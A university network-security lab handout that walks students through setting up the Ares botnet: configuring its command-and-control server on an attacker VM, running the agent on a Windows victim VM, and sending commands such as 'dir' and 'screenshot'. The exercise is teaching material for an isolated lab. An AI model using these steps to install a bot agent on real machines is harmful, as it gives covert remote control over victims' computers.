



**UNIVERSITY OF NEW BRUNSWICK**  
**Faculty of Computer Science**  
**Network Security (CS4415-CS6415) – Winter 2022**  
**Hands-on 10 – Botnet**  
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**Instructions:** Turn on the Attacker-Kali VM

**Install the Ares:**

- Download from the D2L repository
- Unzip the package

**Configure the Ares:**

- Go to **Ares/agent/python/settings.py**  
SERVER\_URL="http://192.168.1.1:8080"
- Go to **Ares/server/conf/server.conf**  
server.socket\_host:"192.168.1.1"
- Go to **Ares/server**  
# python db\_init.py  
# python server.py

**Check the Bot server:**

- Open your browser
- Go to "**http://192.168.1.1:8080**"
- Set the password

Copy the **ares/agent/python** folder to Victim-Windows VM machine

**Instructions:** Turn on the Victim-Windows VM

- Copy **Python** folder from ares/agent/python
- Go to **CMD**
- Go to **Python** folder  
> **python agent.py**

**Instructions:** Go to Attacker-Kali

- Open the browser
- Go to "**http://192.168.1.1:8080**"
- You can see the bot list
- Select your bot and write the command on the "**Run on selection**" textbox, such as "dir" and "screenshot" and click the "Send" button.
- To see the corresponding output, click on the bot.

